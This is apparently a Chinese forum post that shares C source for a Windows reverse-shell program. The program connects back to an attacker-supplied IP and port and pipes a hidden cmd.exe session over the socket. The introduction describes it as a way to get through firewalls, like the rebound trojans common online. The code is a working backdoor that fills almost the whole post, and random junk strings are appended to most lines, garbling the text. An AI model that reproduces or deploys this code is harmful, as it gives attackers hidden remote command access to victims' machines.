这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 J(P'!#z^
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/* ============================== $)6M@S
Rebound port in Windows NT 7E5=Qx
By wind,2006/7 <vxTfE@>bp
===============================*/ WKwYSbs(
#include 7=qvu&{
#include S/YHT)0x[
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#pragma comment(lib,"wsock32.lib") 6#a82_
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void OutputShell(); :dxKcg7
SOCKET sClient; F4ylD5Y!
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; cu)B!#<!&
.;(a;f+{;
void main(int argc,char **argv) bwJluJ,E
{ 8~BLTZ
WSADATA stWsaData; Il#ST
int nRet; e-VGJxR
SOCKADDR_IN stSaiClient,stSaiServer; nEbZ8M
a=6@} l1<
if(argc != 3) T#vY(d
{ 6:?mz;oP
printf("Useage:\n\rRebound DestIP DestPort\n"); QcjsQTAbk
return; %Z-xh<&
} SEE:v+3|
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WSAStartup(MAKEWORD(2,2),&stWsaData); GXRW"4eF5
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); aadw#90
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stSaiClient.sin_family = AF_INET; [<d_#(]h'
stSaiClient.sin_port = htons(0); Y3-f68*(
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "_=t1UE
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *_H]?&
{ !\'HKk~V
printf("Bind Socket Failed!\n"); B$7Cjv
return; ~aXJ5sY"f&
} 0<^Qj.(9
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stSaiServer.sin_family = AF_INET; APCE}%1U
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Zcg-i:@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); rX)_!mR
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) tJGK9!MH{(
{ r"t,/@`n
printf("Connect Error!"); ^ ),;`YXZ
return; P0k.\ 8qz
} 0_=^#r4Mu
OutputShell(); Kk|)N3AV:
} zz8NBO
n;~'W*Ln0
void OutputShell() ?u0qYep:
{ iP1yy5T
char szBuff[1024]; (
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SECURITY_ATTRIBUTES stSecurityAttributes; 0C6T>E7
OSVERSIONINFO stOsversionInfo;
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Wq?vAnLbk
STARTUPINFO stStartupInfo; 3{TE6&HIa
char *szShell; 8x 8nQ*_
PROCESS_INFORMATION stProcessInformation; *Xn6yL9
unsigned long lBytesRead; O(:/&`)
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Q@"!uB.e
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -a'D~EGB^
stSecurityAttributes.lpSecurityDescriptor = 0; PtGFLM9R
stSecurityAttributes.bInheritHandle = TRUE; <S12=<c?'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); s%A?B8,
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); c<{~j~+
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]@CXUa,>a
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cqcH1aSv
stStartupInfo.wShowWindow = SW_HIDE; 6.a|w}C`
stStartupInfo.hStdInput = hReadPipe; 2;w> w#}>
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *|gl1S
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GetVersionEx(&stOsversionInfo); X9C:AGbp
}n
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switch(stOsversionInfo.dwPlatformId) u_b6u@r7
{ R''2o_F6
case 1: 5D mSgP:
szShell = "command.com"; pi/&WMZ<
break; Gsz$H_
default: v7f[$s$m
szShell = "cmd.exe"; ?Iag-g9#=m
break; 7Oi<_b
} ]1I-e2Q-J
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); b$tf9$f
Pu'lp
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send(sClient,szMsg,77,0); "5<YN#
while(1) Eks<O
{ (Sj<>xgd
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H)rJ>L
if(lBytesRead) Q v},X~^R
{ (.b!kfC
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); g<:TsP'|
send(sClient,szBuff,lBytesRead,0); c57`mOe/b
} },O7NSG<o
else OK
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{ ;x/.8fA
lBytesRead=recv(sClient,szBuff,1024,0); &0{&4,
if(lBytesRead<=0) break; _6]tbni?v
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~$1g"jIw
} aaI5x
} ft!D2M
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return; ?}C8_I|4~
}